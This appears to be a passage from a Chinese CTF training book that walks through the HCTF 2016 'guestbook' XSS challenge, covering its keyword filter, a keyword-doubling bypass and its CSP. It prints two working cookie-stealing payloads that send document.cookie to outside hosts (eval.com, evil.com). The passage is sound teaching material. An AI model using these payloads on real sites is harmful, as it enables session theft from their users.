CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

3.5 实例

HCTF 2016中有一道XSS漏洞相关的题目:guestbook。该题目代码中的过滤代码如下:


function filter($string)
{
    $escape = array('\'','\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    $string = preg_replace($safe, 'hacker', $string);
    $xsssafe = array('img','script','on','svg','link');
    $xsssafe = '/' . implode('|', $xsssafe) . '/i';
    return preg_replace($xsssafe, '', $string);
}

可以看到,这段代码中其实只有很少的过滤,而且都是单层的,只需要复写2次就可以绕过,例如:


scrscriptipt

这个题目考查的关键点在于CSP的绕过,CSP规则如下:


default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

这段CSP规则中,由于开启了unsafe-inline,因此可以使用前文提到过的CSP绕过的方法进行绕过,例如:


<scrscriptipt>locatioonn.href="http://eval.com/xss/cookie.php?cookie="+escape (document.cookie);</sscriptcript>

上面代码中的locatioonn.href并非笔误,而是因为过滤函数中过滤了on,所以此处的locatioonn经过过滤后就变成了正确的location。另外还可以用下面的方法进行绕过:


<scscriptript>var l = document.createElement("liscriptnk"); l.setAttribute("rel", "prefetch");l.setAttribute("href", "//evil.com:2333/" + document.cookie); document.head.appendChild(l);</scscriptript>